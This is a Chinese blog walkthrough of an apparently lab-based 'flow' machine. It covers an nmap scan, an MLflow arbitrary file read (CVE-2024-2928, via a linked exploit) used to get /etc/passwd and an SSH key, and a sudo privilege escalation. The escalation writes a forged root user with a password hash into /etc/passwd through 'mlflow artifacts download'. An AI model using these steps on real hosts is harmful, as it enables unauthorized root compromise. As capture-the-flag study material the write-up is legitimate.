首页 > 其他分享 >flow pg walkthrough Intermediate

flow pg walkthrough Intermediate

时间:2025-01-07 16:14:31浏览次数:1  
标签:&# Linux flow SF walkthrough Intermediate linux x27 x20

nmap
nmap -p- -A -T4 -sS 192.168.114.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-07 03:03 UTC
Nmap scan report for 192.168.114.104
Host is up (0.072s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 193
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid Request Line &#x27;Invalid HTTP request line: &#x27;&#x27;&#x27;
|     </body>
|     </html>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Tue, 07 Jan 2025 03:05:01 GMT
|     Connection: close
|     Content-Disposition: inline; filename=index.html
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 615
|     Last-Modified: Mon, 02 Sep 2024 10:04:33 GMT
|     Cache-Control: no-cache
|     ETag: "1725271473.9912164-615-3603372807"
|     <!doctype html><html lang="en"><head><meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"/><link rel="shortcut icon" href="./static-files/favicon.ico"/><meta name="theme-color" content="#000000"/><link rel="manifest" href="./static-files/manifest.json"/><title>MLflow</title><script defer="defer" src="static-files/static/js/main.4dd3381c.js"></script><link href="static-files/static/css/main.6d30cbb0.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div><di
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Tue, 07 Jan 2025 03:05:16 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, OPTIONS, GET
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=1/7%Time=677C99DD%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,11E,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20
SF:close\r\nContent-Type:\x20text/html\r\nContent-Length:\x20193\r\n\r\n<h
SF:tml>\n\x20\x20<head>\n\x20\x20\x20\x20<title>Bad\x20Request</title>\n\x
SF:20\x20</head>\n\x20\x20<body>\n\x20\x20\x20\x20<h1><p>Bad\x20Request</p
SF:></h1>\n\x20\x20\x20\x20Invalid\x20Request\x20Line\x20&#x27;Invalid\x20
SF:HTTP\x20request\x20line:\x20&#x27;&#x27;&#x27;\n\x20\x20</body>\n</html
SF:>\n")%r(GetRequest,3A5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r
SF:\nDate:\x20Tue,\x2007\x20Jan\x202025\x2003:05:01\x20GMT\r\nConnection:\
SF:x20close\r\nContent-Disposition:\x20inline;\x20filename=index\.html\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20615\
SF:r\nLast-Modified:\x20Mon,\x2002\x20Sep\x202024\x2010:04:33\x20GMT\r\nCa
SF:che-Control:\x20no-cache\r\nETag:\x20\"1725271473\.9912164-615-36033728
SF:07\"\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><meta\x20chars
SF:et=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=device-widt
SF:h,initial-scale=1,shrink-to-fit=no\"/><link\x20rel=\"shortcut\x20icon\"
SF:\x20href=\"\./static-files/favicon\.ico\"/><meta\x20name=\"theme-color\
SF:"\x20content=\"#000000\"/><link\x20rel=\"manifest\"\x20href=\"\./static
SF:-files/manifest\.json\"/><title>MLflow</title><script\x20defer=\"defer\
SF:"\x20src=\"static-files/static/js/main\.4dd3381c\.js\"></script><link\x
SF:20href=\"static-files/static/css/main\.6d30cbb0\.css\"\x20rel=\"stylesh
SF:eet\"></head><body><noscript>You\x20need\x20to\x20enable\x20JavaScript\
SF:x20to\x20run\x20this\x20app\.</noscript><div\x20id=\"root\"></div><di")
SF:%r(RTSPRequest,121,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\nContent-Length:\x20196\r\n\r\n
SF:<html>\n\x20\x20<head>\n\x20\x20\x20\x20<title>Bad\x20Request</title>\n
SF:\x20\x20</head>\n\x20\x20<body>\n\x20\x20\x20\x20<h1><p>Bad\x20Request<
SF:/p></h1>\n\x20\x20\x20\x20Invalid\x20HTTP\x20Version\x20&#x27;Invalid\x
SF:20HTTP\x20Version:\x20&#x27;RTSP/1\.0&#x27;&#x27;\n\x20\x20</body>\n</h
SF:tml>\n")%r(HTTPOptions,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicor
SF:n\r\nDate:\x20Tue,\x2007\x20Jan\x202025\x2003:05:16\x20GMT\r\nConnectio
SF:n:\x20close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x
SF:20HEAD,\x20OPTIONS,\x20GET\r\nContent-Length:\x200\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (90%), Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:3.13 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 4.15 - 5.8 (90%), Linux 5.0 (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (89%), Linux 2.6.32 (89%), Linux 5.0 - 5.5 (88%), Crestron XPanel control system (86%), Linux 3.13 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   73.06 ms 192.168.45.1
2   73.01 ms 192.168.45.254
3   73.15 ms 192.168.251.1
4   73.14 ms 192.168.114.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 228.37 seconds


发现版本
image

搜索exp 看样子是个任意文件读取
https://github.com/nuridincersaygili/CVE-2024-2928/blob/main/CVE-2024-2928.py

尝试exp读取/etc/passwd
image
读取成功
尝试读取id_rsa
image
读取成功

提权阶段
sudo -l
image

/usr/local/bin/mlflow artifacts download -u * -d *
发现你sudo 运行这个命令
尝试运行
发现 报错 让我们 mlflow artifacts download --help 看看说明
image

image

大概看懂了
-u 指定下载的文件 -d 指定文件下载到哪个目录
这不就简单了

我们直接
先复制一份/etc/passwd
cp /etc/passwd ./passwd
然后将伪造的root用户写入
echo 'xxoo:$1$GWB36/lB$ncfgVGEio6XbCYeV53KcM0:0:0:asdasd:/root:/bin/bash' >> ./passwd
然后
sudo /usr/local/bin/mlflow artifacts download -u ./passwd -d /etc 将我们伪造的passwd 写入/etc目录
提权成功
image

标签:&#,Linux,flow,SF,walkthrough,Intermediate,linux,x27,x20
From: https://www.cnblogs.com/wssw/p/18657114

相关文章

  • 【学习心得】比较Paddle、Tensorflow和Pytorch
    PaddlePaddle学的时间最长,买了官方的书,官方的在线学习看了两遍。前后大概一年的跨度,看完第一遍后大半年又看了一遍。12月末的时候去参加了百度在上海张江科学大会堂的一个大会。看完第二遍PaddlePaddle决定把Tensorflow也了解下,遇到了蜥蜴书,真心觉得不错的书,前后花了两个月时间......
  • Cross-modal Information Flow in Multimodal Large Language Models
    本文是LLM系列文章,针对《Cross-modalInformationFlowinMultimodalLargeLanguageModels》的翻译。多模态大型语言模型中的跨模态信息流摘要1引言2相关工作3MLLM中的信息流跟踪4实验设置5不同模态对最终预测的贡献6语言和视觉信息如何集成的?7最终答......
  • 只使用tensorflow而不使用keras实现一个简单的神经网络
    1、实现一个简单的Dense类,就是实现图中层的定义这是一个类,这个层主要实现数据变换的操作,即输入一个tensor,先与权重矩阵W相乘,然后加上b,最后经过激活函数activation运算,输出一个新的张量。为了实现这个操作,我们将这个任务划分成几个子任务:(1)定义需要输入的属性,用于支持数据变换......
  • Tensorflow张量的创建与修改和张量的运算
    构建一些tensorflow代码来实现一些训练神经网络的概念。其结构如下:低阶张量操作,以下可转化为TensorFlowAPI    构建张量,包括储存神经网络状态的特殊张量    张量运算,比如加法、relu、matmul    反向传播,一种计算数学表达式梯度的方法,在tensorflo......
  • RAG实战:本地部署ragflow+ollama(linux)
    1.部署ragflow1.1安装配置docker因为ragflow需要诸如elasticsearch、mysql、redis等一系列三方依赖,所以用docker是最简便的方法。docker安装可参考Linux安装Docker完整教程,安装后修改docker配置如下:vim/etc/docker/daemon.json{"builder":{"gc":{"defau......
  • VueFlow
    Vue3VueFlowindex.vue<template><VueFlow@pane-ready="onPaneReady":nodes="nodes":edges="edges":default-viewport="{zoom:1}":nodes-draggable="true"@node-click="onNodeClick"......
  • flowable流程设计器学习
    flowable流程设计器学习简介Flowable是一个基于Java的开源BPM框架,它主要基于Activiti中的一些组件,并在此基础上进行了扩展和升级。架构:Flowable架构主要分为四部分:工作流引擎、应用程序接口(API)、模型器和任务表单设计器。1、工作流引擎:Flowable的核心组件,包括运行时引擎和执......
  • [笔记]Airflow入门
    前言Airflow入门教程正文简介任务管理、调度、监控工作流平台。基于DAG(有向无环图)的任务管理系统。基本架构组件scheduler:以有向无环图(dag)的形式创建任务工作流,根据用户的配置将任务定时/定期进行调度worker:任务的执行单元,worker会从任务队列当中拉取任务并运行......
  • GitHub Workflow 和 Action 的一些注意事项
    GitHub的workflow和action存在一些注意事项,总结如下,以供参考Workflowon.issues.types如果需要判断label,不需要指定opened,只需要指定labeled,因为即使label是新建时设置的,也会触发labeledpermissions如果需要checkout当前repo,需要添加contents:write,否则会有权......
  • Metaflow
    Metaflowhttps://docs.metaflow.org/introduction/what-is-metaflowWhatisMetaflowMetaflowisahuman-friendlyPythonlibrarythatmakesitstraightforwardtodevelop,deploy,andoperatevariouskindsofdata-intensiveapplications,inparticularthose......